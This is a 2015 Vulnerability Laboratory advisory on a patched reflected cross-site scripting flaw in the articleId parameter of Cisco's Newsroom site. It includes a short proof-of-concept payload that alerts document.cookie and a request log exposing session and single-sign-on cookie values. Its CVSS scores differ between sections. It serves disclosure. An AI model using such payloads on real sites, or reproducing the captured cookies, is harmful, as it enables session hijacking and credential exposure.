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Cisco (Newsroom) - Client Side Cross Site Scripting Vulnerability



Document Title:
===============
Cisco (Newsroom) - Client Side Cross Site Scripting Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1464


Release Date:
=============
2015-04-24


Vulnerability Laboratory ID (VL-ID):
====================================
1464


Common Vulnerability Scoring System:
====================================
2.5


Product & Service Introduction:
===============================
Cisco Systems, Inc. is an American multinational corporation headquartered in 
San Jose, California, that designs, manufactures, 
and sells networking equipment. The stock was added to the Dow Jones Industrial 
Average on June 8, 2009, and is also included 
in the S&P 500 Index, the Russell 1000 Index, NASDAQ-100 Index and the Russell 
1000 Growth Stock Index.

(Copy of the Homepage: http://en.wikipedia.org/wiki/Cisco_Systems )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a client-side cross site 
scripting web vulnerability in the official Cisco Newsroom online service 
web-application.


Vulnerability Disclosure Timeline:
==================================
2015-04-24: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Cisco
Product: Newsroom - Web Application (Online Service) 2015 Q1


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A non persistent cross site scripting web vulnerability has been discovered in 
the official Cisco Newsroom online service web-application.
The vulnerability allows remote attackers to hijack website customer, moderator 
or admin sessions data by client-side manipulated cross site requests.

The vulnerability is located in the `articleId` value of the cisco newsroom 
service module. Remote attackers are able to inject own script codes to the 
vulnerable GET method request of thenewsroom module.  The attack vector of the 
vulnerability is located on the client-side of the newsroom service 
web-application. 
The request method to inject the script code on client-side is `GET`. The 
injection point of the issue is the vulnerable `articleId` value in the 
newsroom and 
the script code execution point is located in the exception-handling module 
page. The exception-handling displays the input without secure encoding which 
results 
in the client-side script code execution.

The security risk of the non-persistent input validation web vulnerability is 
estimated as medium with a cvss (common vulnerability scoring system) count of 
3.4.
Exploitation of the client-side cross site scripting web vulnerability requires 
low user interaction (click) and no privileged application user account. 
Successful exploitation results in client-side account theft by hijacking, 
client-side phishing, client-side external redirects and non-persistent 
manipulation 
of affected or connected service modules.

Request Method(s):
                                                [+] GET

Vulnerable Service(s):
                                                [+] Cisco Newsroom

Vulnerable Module(s):
                                                [+] Newsroom

Vulnerable Parameter(s):
                                                [+] articleId

Affected Section(s):
                                                [+] Exception-handling (Cisco 
Newsroom Webserver)


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers without privileged 
application user account and with low or medium user interaction.
For security demonstration or to reproduce the vulnerability follow the 
provided information and steps below to continue.

PoC: Exception-Handling Vulnerability
<div class="portlet-msg-error"> No Article exists with the articleId=" 
--><iframe src="x" onload="alert(document.cookie)">.</div>

--- PoC Session Logs [GET] ---
Host=newsroom.cisco.com
User-Agent=Mozilla/5.0 (X11; Linux i686; rv:36.0) Gecko/20100101 Firefox/36.0
Accept=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language=en-US,en;q=0.5
Accept-Encoding=gzip, deflate
Cookie=__cfduid=d0badc5a5542aab093f77ec7b2c7fcb4e1426397090; 
_mkto_trk=id:010-KNZ-501&token:_mch-cisco.com-1426397096496-85931; 
s_nr=1426612128335-Repeat; v1st=F94588C905A69AF; 
CP_GUTC=41.105.135.196.1426397309701574; _ga=GA1.2.915487673.1426397317; 
GUEST_LANGUAGE_ID=en_US; COOKIE_SUPPORT=true; _ga=GA1.3.915487673.1426397317; 
__unam=1119172-14c1bebf7bd-10eb7fb3-50; 
__utma=174467517.915487673.1426397317.1426397593.1426451546.2; 
__utmz=174467517.1426451546.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided);
 _actmu=161136040.703418129.1426397801884.1426397801884; FBT_LTBox_PR=yes; 
utag_main=v_id:014c1f3316c3001cd060059682a902042002f0090086e$_sn:3$_ss:1$_st:1426465861885$_pn:1%3Bexp-session$ses_id:1426464061885%3Bexp-session;
 JSESSIONID=6589D463BF249D67B9B8F40AD5973DDE; undefined=0; mygallerypersist=0; 
__utmc=174467517; s_cc=true; s_ria=flash%2011%7C; 
cdc_ut=prevacct:cisco-us%2Ccisco-newsatcisco$accesslevel:guest$ts:1426612115239$customEvents:;
 s_suite=cisco-us,cisco-newsatcisco; s_country=US; s_language=en; 
s_sq=%5B%5BB%5D%5D; s_ppv=35; 
ObSSOCookie=mdeeW%2BwzPp%2FHuAjfbay5gq9VCphOfELvYcvAbmb10rcmkqL%2BoN5WuZW3zD%2BWp3iH%2B0Bdm3eP7th2faHmHu5fk2aOV1lgAc8IjLwgkabZNO6g9soQJYR%2Bp1j%2Bakulkb4q%2BMiybdSb2wiTgPaH26TXgvtqARFPLLeVxeQ3VmDd121e00naIL8JzpatIZ%2BATa0svqvtsEKd2W5n9MNimkrvvb7LeslMcpTbAtC3p%2FfQ0ulKkvun4e0VNGCOedx51KoHFbvVyLMkkKkCvWp1N032L0KoF21ITcCYKwH7TGwQeBGg5PYKbBJsJlt%2FpfKF4dEZwtEI6PuGzMtF1b5grDwdw%2FjHlku%2FIHPR1oLGp3HWwEU9aHrMDzb4BGFoBaI3rAzU;
 wasOnLoginPage=false; loginPageReferrer=; PAPPS-Loc=papps-prod1.cisco.com; 
_gat_UA-23583380-1=1; _gat_newsroom=1; _gat_marketing=1; 
s_dfa=cisco-us%2Ccisco-newsatcisco; s_pv=newsroom.cisco.com%2Fexecbio-detail
Connection=keep-alive

Reference(s):
http://newsroom.cisco.com


Solution - Fix & Patch:
=======================
The vulnerability has been fixed/patched by the cisco developer team since 24th 
april 2015.


Security Risk:
==============
The security risk of the client-side cross site scripting web vulnerability in 
the newsroom service is estimated as medium. (CVSS 2.5)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Hadji Samir [s-dz@xxxxxxxxxx]


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=========================
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